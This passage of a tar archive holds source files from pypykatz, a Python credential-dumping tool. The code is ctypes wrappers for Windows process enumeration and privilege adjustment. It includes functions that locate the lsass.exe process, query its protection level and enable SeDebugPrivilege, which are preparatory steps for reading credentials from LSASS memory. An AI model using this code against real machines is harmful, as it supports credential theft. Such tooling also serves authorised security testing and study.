SYSTEM_INFORMATION_CLASS(88) class PROCESS_BASIC_INFORMATION(Structure): _fields_ = (('Reserved1', PVOID), ('PebBaseAddress', PVOID), ('Reserved2', PVOID * 2), ('UniqueProcessId', ULONG_PTR), ('Reserved3', PVOID)) class _PROCESS_EXTENDED_BASIC_INFORMATION_UNION1(Structure): _fields_ = (('IsProtectedProcess', ULONG, 1), ('IsWow64Process', ULONG, 1), ('IsProcessDeleting', ULONG, 1), ('IsCrossSessionCreate', ULONG, 1), ('IsFrozen', ULONG, 1), ('IsBackground', ULONG, 1), ('IsStronglyNamed', ULONG, 1), ('IsSecureProcess', ULONG, 1), ('IsSubsystemProcess', ULONG, 1), ('SpareBits', ULONG,23)) class _PROCESS_EXTENDED_BASIC_INFORMATION_UNION(Union): _anonymous_ = ('obj',) _fields_ = (('Flags', ULONG), ('obj', _PROCESS_EXTENDED_BASIC_INFORMATION_UNION1)) class PROCESS_EXTENDED_BASIC_INFORMATION(Structure): _anonymous_ = ('obj',) _fields_ = (('Size', SIZE_T), ('BasicInfo', PROCESS_BASIC_INFORMATION), ('obj', _PROCESS_EXTENDED_BASIC_INFORMATION_UNION)) class UNION_PS_PROTECTION(Structure): _fields_ = (('Type', UCHAR, 3), ('Audit', BOOLEAN, 1), ('Signer', UCHAR, 4), ) class PS_PROTECTION(Union): _anonymous_ = ('obj',) _fields_ = (('Level', UCHAR), ('obj', UNION_PS_PROTECTION), ) # BOOL WINAPI GetExitCodeThread( # __in HANDLE hThread, # __out LPDWORD lpExitCode # ); def GetExitCodeThread(hThread): _GetExitCodeThread = windll.kernel32.GetExitCodeThread _GetExitCodeThread.argtypes = [HANDLE, PDWORD] _GetExitCodeThread.restype = bool _GetExitCodeThread.errcheck = RaiseIfZero lpExitCode = DWORD(0) _GetExitCodeThread(hThread, byref(lpExitCode)) return lpExitCode.value # DWORD WINAPI WaitForSingleObject( # HANDLE hHandle, # DWORD dwMilliseconds # ); def WaitForSingleObject(hHandle, dwMilliseconds = INFINITE): _WaitForSingleObject = windll.kernel32.WaitForSingleObject _WaitForSingleObject.argtypes = [HANDLE, DWORD] _WaitForSingleObject.restype = DWORD if not dwMilliseconds and dwMilliseconds != 0: dwMilliseconds = INFINITE if dwMilliseconds != INFINITE: r = _WaitForSingleObject(hHandle, dwMilliseconds) if r == WAIT_FAILED: raise ctypes.WinError() else: while 1: r = _WaitForSingleObject(hHandle, 100) if r == WAIT_FAILED: raise ctypes.WinError() if r != WAIT_TIMEOUT: break return r././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/common/live_reader_ctypes.py0000664000175000017500000001474114543266630026664 0ustar00webdevwebdevimport ctypes import enum from pypykatz.commons.readers.local.common.kernel32 import * from pypykatz.commons.readers.local.common.psapi import * from pypykatz.commons.readers.local.common.version import * class WindowsMinBuild(enum.Enum): WIN_XP = 2500 WIN_2K3 = 3000 WIN_VISTA = 5000 WIN_7 = 7000 WIN_8 = 8000 WIN_BLUE = 9400 WIN_10 = 9800 #utter microsoft bullshit commencing.. def getWindowsBuild(): version = GetVersionExA() return version.dwBuildNumber #class OSVersionInfo(ctypes.Structure): # _fields_ = [ # ("dwOSVersionInfoSize" , ctypes.c_int), # ("dwMajorVersion" , ctypes.c_int), # ("dwMinorVersion" , ctypes.c_int), # ("dwBuildNumber" , ctypes.c_int), # ("dwPlatformId" , ctypes.c_int), # ("szCSDVersion" , ctypes.c_char*128)]; #GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA") #version = OSVersionInfo() #version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo) #GetVersionEx( ctypes.byref(version) ) #return version.dwBuildNumber DELETE = 0x00010000 READ_CONTROL = 0x00020000 WRITE_DAC = 0x00040000 WRITE_OWNER = 0x00080000 SYNCHRONIZE = 0x00100000 STANDARD_RIGHTS_REQUIRED = DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER STANDARD_RIGHTS_ALL = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE if getWindowsBuild() >= WindowsMinBuild.WIN_VISTA.value: PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF else: PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF def QueryDosDevice(drive_letter): buffer_length = 1024 buf = ctypes.create_unicode_buffer(buffer_length) status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length) if status == 0: raise ctypes.WinError() return buf.value def get_drives(): drives = [] bitmask = windll.kernel32.GetLogicalDrives() for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ': if bitmask & 1: drives.append(letter + ':') bitmask >>= 1 return drives def get_device_prefixes(): device_prefixes = {} drives = get_drives() for drive in drives: device_prefixes[QueryDosDevice(drive)] = drive return device_prefixes DEVICE_PREFIXES = get_device_prefixes() WINDOWS_BUILD_NUMBER = getWindowsBuild() PROCESS_QUERY_INFORMATION = 0x0400 PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 PROCESS_VM_READ = 0x0010 MAXIMUM_ALLOWED = 33554432 STATUS_INFO_LENGTH_MISMATCH = -1073741820 MAX_PATH_UNICODE = 1 << 15 # Get full normalized image path of a process using NtQuerySystemInformation # It doesn't need any special privileges def get_process_full_imagename(pid): _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation image_filename = '' buf = ctypes.create_unicode_buffer(0x1000) process_info = SYSTEM_PROCESS_ID_INFORMATION() process_info.ProcessId = ctypes.c_void_p(pid) process_info.ImageName.MaximumLength = len(buf) process_info.ImageName.Buffer = addressof(buf) status = _NtQuerySystemInformation( SystemProcessIdInformation, process_info, sizeof(process_info), None) if status == STATUS_INFO_LENGTH_MISMATCH: buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE) process_info.ImageName.MaximumLength = len(buf) process_info.ImageName.Buffer = addressof(buf) status = _NtQuerySystemInformation( SystemProcessIdInformation, process_info, sizeof(process_info), None) if status == 0: image_filename = str(process_info.ImageName.Buffer) if image_filename.startswith('\\Device\\'): for win_path in DEVICE_PREFIXES: if image_filename.startswith(win_path): image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):] else: image_filename = 'N/A' return image_filename PS_PROTECTED_TYPE_STRINGS = [None,"Light","Full"] PS_PROTECTED_SIGNER_STRINGS = [ None, "Authenticode", "CodeGen", "Antimalware", "Lsa", "Windows", "WinTcb", "WinSystem", "StoreApp"] PS_PROTECTED_TYPE_OLD_OS_STRINGS = [None,"System protected process"] #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx #def enum_process_names(): # pid_to_fullname = {} # # for pid in EnumProcesses(): # if pid == 0: # continue # # pid_to_fullname[pid] = get_process_full_imagename(pid) # return pid_to_fullname def enum_process_names(): pid_to_name = {} for pid in EnumProcesses(): if pid == 0: continue pid_to_name[pid] = 'Not found' try: process_handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid) except Exception as e: continue pid_to_name[pid] = QueryFullProcessImageNameW(process_handle) return pid_to_name def get_process_extended_basic_information(pid,process_handle=None): process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION() process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION) _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess if process_handle == None: process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) status = _NtQueryInformationProcess(process_handle, ProcessBasicInformation, byref(process_basic_info), process_basic_info.Size, None) if status < 0: raise ctypes.WinError() CloseHandle(process_handle) return process_basic_info def get_protected_process_infos(pid,process_handle=None): process_protection_infos = None _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess if process_handle == None: process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value: protection_info = PS_PROTECTION() status = _NtQueryInformationProcess(process_handle, ProcessProtectionInformation, byref(protection_info), sizeof(protection_info), None) if status < 0: raise ctypes.WinError() if protection_info.Type > 0: process_protection_infos = {"level": protection_info.Level, "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type], "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer], "audit": protection_info.Audit} else: _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle) if _ps_extended_basic_information.IsProtectedProcess: process_protection_infos = {"type": 'System protected process'} CloseHandle(process_handle) return process_protection_infos def get_lsass_pid(): return pid_for_name('lsass.exe') def pid_for_name(process_name): pid_to_name = enum_process_names() for pid in pid_to_name: if pid_to_name[pid].lower().endswith(process_name): return pid raise Exception('Failed to find %s' % process_name) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/common/privileges.py0000664000175000017500000000266314543266630025165 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import ctypes from ctypes import windll from ctypes.wintypes import ULONG, BOOL,LONG from .privileges_types import * STATUS_SUCCESS = 0 NTSTATUS = LONG POINTER = ctypes.POINTER def NtError(status): """ Converts NTSTATUS codes into WinError codes """ err = windll.ntdll.RtlNtStatusToDosError(status) return ctypes.WinError(err) # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html # BOOL WINAPI RtlAdjustPrivilege( # __in ULONG Privilege, # __in BOOLEAN Enable, # __in BOOLEAN CurrentThread, # __in PBOOLEAN Enabled, # ); def RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False): """ privilige_id: int """ _RtlAdjustPrivilege = windll.ntdll.RtlAdjustPrivilege _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)] _RtlAdjustPrivilege.restype = NTSTATUS CurrentThread = thread_or_process #enable for whole process Enabled = BOOL() status = _RtlAdjustPrivilege(privilige_id, enable, CurrentThread, ctypes.byref(Enabled)) if status != STATUS_SUCCESS: raise Exception(NtError(status)) return True def enable_debug_privilege(): """ Enables the SE_DEBUG privilege for the currently running process, if the process has SE_DEBUG privilege. (You'll need to be admin most probably) """ RtlAdjustPrivilege(PrivilegeValues.SE_DEBUG.value) if __name__ == '__main__': enable_debug_privilege()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/common/privileges_types.py0000664000175000017500000001766514543266630026421 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import enum class PrivilegeValues(enum.Enum): SE_CREATE_TOKEN = 2 SE_ASSIGNPRIMARYTOKEN = 3 SE_LOCK_MEMORY=4 SE_INCREASE_QUOTA=5 SE_UNSOLICITED_INPUT=6 SE_TCB=7 SE_SECURITY=8 SE_TAKE_OWNERSHIP=9 SE_LOAD_DRIVER=10 SE_SYSTEM_PROFILE=11 SE_SYSTEMTIME=12 SE_PROF_SINGLE_PROCESS=13 SE_INC_BASE_PRIORITY=14 SE_CREATE_PAGEFILE=15 SE_CREATE_PERMANENT=16 SE_BACKUP=17 SE_RESTORE=18 SE_SHUTDOWN=19 SE_DEBUG=20 SE_AUDIT=21 SE_SYSTEM_ENVIRONMENT=22 SE_CHANGE_NOTIFY=23 SE_REMOTE_SHUTDOWN=24 SE_UNDOCK=25 SE_SYNC_AGENT=26 SE_ENABLE_DELEGATION=27 SE_MANAGE_VOLUME=28 SE_IMPERSONATE=29 SE_CREATE_GLOBAL=30 SE_TRUSTED_CREDMAN_ACCESS=31 SE_RELABEL=32 SE_INC_WORKING_SET=33 SE_TIME_ZONE=34 SE_CREATE_SYMBOLIC_LINK=35 class Privileges(enum.Enum): SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege" #Required to assign the primary token of a process. #User Right: Replace a process-level token. SE_AUDIT_NAME = "SeAuditPrivilege" #Required to generate audit-log entries. Give this privilege to secure servers. #User Right: Generate security audits. SE_BACKUP_NAME = "SeBackupPrivilege" #Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege" #Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It is enabled by default for all users. SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege" #Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for administrators, services, and the local system account. #User Right: Create global objects. SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege" # Required to create a paging file. #User Right: Create a pagefile. SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege" #Required to create a permanent object. #User Right: Create permanent shared objects. SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege" #Required to create a symbolic link. #User Right: Create symbolic links. SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege" #Required to create a primary token. #User Right: Create a token object. #You cannot add this privilege to a user account with the "Create a token object" policy. Additionally, you cannot add this privilege to an owned process using Windows APIs. #Windows Server 2003 and Windows XP with SP1 and earlier: Windows APIs can add this privilege to an owned process. SE_DEBUG_NAME = "SeDebugPrivilege" #Required to debug and adjust the memory of a process owned by another account. #User Right: Debug programs. SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege" #Required to mark user and computer accounts as trusted for delegation. #User Right: Enable computer and user accounts to be trusted for delegation. SE_IMPERSONATE_NAME = "SeImpersonatePrivilege" #Required to impersonate. #User Right: Impersonate a client after authentication. SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege" #Required to increase the base priority of a process. #User Right: Increase scheduling priority. SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege" #Required to increase the quota assigned to a process. #User Right: Adjust memory quotas for a process. SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege" #Required to allocate more memory for applications that run in the context of users. #User Right: Increase a process working set. SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege" #Required to load or unload a device driver. #User Right: Load and unload device drivers. SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege" #Required to lock physical pages in memory. #User Right: Lock pages in memory. SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege" #Required to create a computer account. #User Right: Add workstations to domain. SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege" #Required to enable volume management privileges. #User Right: Manage the files on a volume. SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege" #Required to gather profiling information for a single process. #User Right: Profile single process. SE_RELABEL_NAME = "SeRelabelPrivilege" #Required to modify the mandatory integrity level of an object. #User Right: Modify an object label. SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege"# Required to shut down a system using a network request. #User Right: Force shutdown from a remote system. SE_RESTORE_NAME = "SeRestorePrivilege" #Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any valid user or group SID as the owner of a file. This privilege is required by the RegLoadKey function. The following access rights are granted if this privilege is held: SE_SECURITY_NAME = "SeSecurityPrivilege" #Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a security operator. #User Right: Manage auditing and security log. SE_SHUTDOWN_NAME = "SeShutdownPrivilege" #Required to shut down a local system. #User Right: Shut down the system. SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege" #Required for a domain controller to use the Lightweight Directory Access Protocol directory synchronization services. This privilege enables the holder to read all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and LocalSystem accounts on domain controllers. #User Right: Synchronize directory service data. SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege" #Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. #User Right: Modify firmware environment values. SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege" #Required to gather profiling information for the entire system. #User Right: Profile system performance. SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege" #Required to modify the system time. #User Right: Change the system time. SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege" #Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those values that the holder may legitimately assign as the owner of an object. #User Right: Take ownership of files or other objects. SE_TCB_NAME = "SeTcbPrivilege" #This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. #User Right: Act as part of the operating system. SE_TIME_ZONE_NAME = "SeTimeZonePrivilege" #Required to adjust the time zone associated with the computer's internal clock. #User Right: Change the time zone. SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege"#Required to access Credential Manager as a trusted caller. #User Right: Access Credential Manager as a trusted caller. SE_UNDOCK_NAME = "SeUndockPrivilege" #Required to undock a laptop. #User Right: Remove computer from docking station. SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege"././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/common/psapi.py0000664000175000017500000003261214543266630024125 0ustar00webdevwebdev#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2009-2016, Mario Vilas # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice,this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ Wrapper for psapi.dll in ctypes. """ from .defines import * #============================================================================== # This is used later on to calculate the list of exported symbols. _all = None _all = set(vars().keys()) #============================================================================== #--- PSAPI structures and constants ------------------------------------------- LIST_MODULES_DEFAULT = 0x00 LIST_MODULES_32BIT = 0x01 LIST_MODULES_64BIT = 0x02 LIST_MODULES_ALL = 0x03 # typedef struct _MODULEINFO { # LPVOID lpBaseOfDll; # DWORD SizeOfImage; # LPVOID EntryPoint; # } MODULEINFO, *LPMODULEINFO; class MODULEINFO(Structure): _fields_ = [ ("lpBaseOfDll", LPVOID), # remote pointer ("SizeOfImage", DWORD), ("EntryPoint", LPVOID), # remote pointer ] LPMODULEINFO = POINTER(MODULEINFO) #--- psapi.dll ---------------------------------------------------------------- # BOOL WINAPI EnumDeviceDrivers( # __out LPVOID *lpImageBase, # __in DWORD cb, # __out LPDWORD lpcbNeeded # ); def EnumDeviceDrivers(): _EnumDeviceDrivers = windll.psapi.EnumDeviceDrivers _EnumDeviceDrivers.argtypes = [LPVOID, DWORD, LPDWORD] _EnumDeviceDrivers.restype = bool _EnumDeviceDrivers.errcheck = RaiseIfZero size = 0x1000 lpcbNeeded = DWORD(size) unit = sizeof(LPVOID) while 1: lpImageBase = (LPVOID * (size // unit))() _EnumDeviceDrivers(byref(lpImageBase), lpcbNeeded, byref(lpcbNeeded)) needed = lpcbNeeded.value if needed <= size: break size = needed return [ lpImageBase[index] for index in range(0, (needed // unit)) ] # BOOL WINAPI EnumProcesses( # __out DWORD *pProcessIds, # __in DWORD cb, # __out DWORD *pBytesReturned # ); def EnumProcesses(): _EnumProcesses = windll.psapi.EnumProcesses _EnumProcesses.argtypes = [LPVOID, DWORD, LPDWORD] _EnumProcesses.restype = bool _EnumProcesses.errcheck = RaiseIfZero size = 0x1000 cbBytesReturned = DWORD() unit = sizeof(DWORD) while 1: ProcessIds = (DWORD * (size // unit))() cbBytesReturned.value = size _EnumProcesses(byref(ProcessIds), cbBytesReturned, byref(cbBytesReturned)) returned = cbBytesReturned.value if returned < size: break size = size + 0x1000 ProcessIdList = {} for ProcessId in ProcessIds: if ProcessId is None: break ProcessIdList[ProcessId] = 1 return list(ProcessIdList.keys()) # BOOL WINAPI EnumProcessModules( # __in HANDLE hProcess, # __out HMODULE *lphModule, # __in DWORD cb, # __out LPDWORD lpcbNeeded # ); def EnumProcessModules(hProcess): _EnumProcessModules = windll.psapi.EnumProcessModules _EnumProcessModules.argtypes = [HANDLE, LPVOID, DWORD, LPDWORD] _EnumProcessModules.restype = bool _EnumProcessModules.errcheck = RaiseIfZero size = 0x1000 lpcbNeeded = DWORD(size) unit = sizeof(HMODULE) while 1: lphModule = (HMODULE * (size // unit))() _EnumProcessModules(hProcess, byref(lphModule), lpcbNeeded, byref(lpcbNeeded)) needed = lpcbNeeded.value if needed <= size: break size = needed return [ lphModule[index] for index in range(0, int(needed // unit)) ] # BOOL WINAPI EnumProcessModulesEx( # __in HANDLE hProcess, # __out HMODULE *lphModule, # __in DWORD cb, # __out LPDWORD lpcbNeeded, # __in DWORD dwFilterFlag # ); def EnumProcessModulesEx(hProcess, dwFilterFlag = LIST_MODULES_DEFAULT): _EnumProcessModulesEx = windll.psapi.EnumProcessModulesEx _EnumProcessModulesEx.argtypes = [HANDLE, LPVOID, DWORD, LPDWORD, DWORD] _EnumProcessModulesEx.restype = bool _EnumProcessModulesEx.errcheck = RaiseIfZero size = 0x1000 lpcbNeeded = DWORD(size) unit = sizeof(HMODULE) while 1: lphModule = (HMODULE * (size // unit))() _EnumProcessModulesEx(hProcess, byref(lphModule), lpcbNeeded, byref(lpcbNeeded), dwFilterFlag) needed = lpcbNeeded.value if needed <= size: break size = needed return [ lphModule[index] for index in range(0, (needed // unit)) ] # DWORD WINAPI GetDeviceDriverBaseName( # __in LPVOID ImageBase, # __out LPTSTR lpBaseName, # __in DWORD nSize # ); def GetDeviceDriverBaseNameA(ImageBase): _GetDeviceDriverBaseNameA = windll.psapi.GetDeviceDriverBaseNameA _GetDeviceDriverBaseNameA.argtypes = [LPVOID, LPSTR, DWORD] _GetDeviceDriverBaseNameA.restype = DWORD nSize = MAX_PATH while 1: lpBaseName = ctypes.create_string_buffer("", nSize) nCopied = _GetDeviceDriverBaseNameA(ImageBase, lpBaseName, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpBaseName.value def GetDeviceDriverBaseNameW(ImageBase): _GetDeviceDriverBaseNameW = windll.psapi.GetDeviceDriverBaseNameW _GetDeviceDriverBaseNameW.argtypes = [LPVOID, LPWSTR, DWORD] _GetDeviceDriverBaseNameW.restype = DWORD nSize = MAX_PATH while 1: lpBaseName = ctypes.create_unicode_buffer(u"", nSize) nCopied = _GetDeviceDriverBaseNameW(ImageBase, lpBaseName, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpBaseName.value GetDeviceDriverBaseName = GuessStringType(GetDeviceDriverBaseNameA, GetDeviceDriverBaseNameW) # DWORD WINAPI GetDeviceDriverFileName( # __in LPVOID ImageBase, # __out LPTSTR lpFilename, # __in DWORD nSize # ); def GetDeviceDriverFileNameA(ImageBase): _GetDeviceDriverFileNameA = windll.psapi.GetDeviceDriverFileNameA _GetDeviceDriverFileNameA.argtypes = [LPVOID, LPSTR, DWORD] _GetDeviceDriverFileNameA.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_string_buffer("", nSize) nCopied = ctypes.windll.psapi.GetDeviceDriverFileNameA(ImageBase, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value def GetDeviceDriverFileNameW(ImageBase): _GetDeviceDriverFileNameW = windll.psapi.GetDeviceDriverFileNameW _GetDeviceDriverFileNameW.argtypes = [LPVOID, LPWSTR, DWORD] _GetDeviceDriverFileNameW.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_unicode_buffer(u"", nSize) nCopied = ctypes.windll.psapi.GetDeviceDriverFileNameW(ImageBase, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value GetDeviceDriverFileName = GuessStringType(GetDeviceDriverFileNameA, GetDeviceDriverFileNameW) # DWORD WINAPI GetMappedFileName( # __in HANDLE hProcess, # __in LPVOID lpv, # __out LPTSTR lpFilename, # __in DWORD nSize # ); def GetMappedFileNameA(hProcess, lpv): _GetMappedFileNameA = ctypes.windll.psapi.GetMappedFileNameA _GetMappedFileNameA.argtypes = [HANDLE, LPVOID, LPSTR, DWORD] _GetMappedFileNameA.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_string_buffer("", nSize) nCopied = _GetMappedFileNameA(hProcess, lpv, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value def GetMappedFileNameW(hProcess, lpv): _GetMappedFileNameW = ctypes.windll.psapi.GetMappedFileNameW _GetMappedFileNameW.argtypes = [HANDLE, LPVOID, LPWSTR, DWORD] _GetMappedFileNameW.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_unicode_buffer(u"", nSize) nCopied = _GetMappedFileNameW(hProcess, lpv, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value GetMappedFileName = GuessStringType(GetMappedFileNameA, GetMappedFileNameW) # DWORD WINAPI GetModuleFileNameEx( # __in HANDLE hProcess, # __in_opt HMODULE hModule, # __out LPTSTR lpFilename, # __in DWORD nSize # ); def GetModuleFileNameExA(hProcess, hModule = None): _GetModuleFileNameExA = ctypes.windll.psapi.GetModuleFileNameExA _GetModuleFileNameExA.argtypes = [HANDLE, HMODULE, LPSTR, DWORD] _GetModuleFileNameExA.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_string_buffer("", nSize) nCopied = _GetModuleFileNameExA(hProcess, hModule, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value def GetModuleFileNameExW(hProcess, hModule = None): _GetModuleFileNameExW = ctypes.windll.psapi.GetModuleFileNameExW _GetModuleFileNameExW.argtypes = [HANDLE, HMODULE, LPWSTR, DWORD] _GetModuleFileNameExW.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_unicode_buffer(u"", nSize) nCopied = _GetModuleFileNameExW(hProcess, hModule, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value GetModuleFileNameEx = GuessStringType(GetModuleFileNameExA, GetModuleFileNameExW) # BOOL WINAPI GetModuleInformation( # __in HANDLE hProcess, # __in HMODULE hModule, # __out LPMODULEINFO lpmodinfo, # __in DWORD cb # ); def GetModuleInformation(hProcess, hModule, lpmodinfo = None): _GetModuleInformation = windll.psapi.GetModuleInformation _GetModuleInformation.argtypes = [HANDLE, HMODULE, LPMODULEINFO, DWORD] _GetModuleInformation.restype = bool _GetModuleInformation.errcheck = RaiseIfZero if lpmodinfo is None: lpmodinfo = MODULEINFO() _GetModuleInformation(hProcess, hModule, byref(lpmodinfo), sizeof(lpmodinfo)) return lpmodinfo # DWORD WINAPI GetProcessImageFileName( # __in HANDLE hProcess, # __out LPTSTR lpImageFileName, # __in DWORD nSize # ); def GetProcessImageFileNameA(hProcess): _GetProcessImageFileNameA = windll.psapi.GetProcessImageFileNameA _GetProcessImageFileNameA.argtypes = [HANDLE, LPSTR, DWORD] _GetProcessImageFileNameA.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_string_buffer("", nSize) nCopied = _GetProcessImageFileNameA(hProcess, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value def GetProcessImageFileNameW(hProcess): _GetProcessImageFileNameW = windll.psapi.GetProcessImageFileNameW _GetProcessImageFileNameW.argtypes = [HANDLE, LPWSTR, DWORD] _GetProcessImageFileNameW.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_unicode_buffer(u"", nSize) nCopied = _GetProcessImageFileNameW(hProcess, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value GetProcessImageFileName = GuessStringType(GetProcessImageFileNameA, GetProcessImageFileNameW) #============================================================================== # This calculates the list of exported symbols. _all = set(vars().keys()).difference(_all) __all__ = [_x for _x in _all if not _x.startswith('_')] __all__.sort() #============================================================================== ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 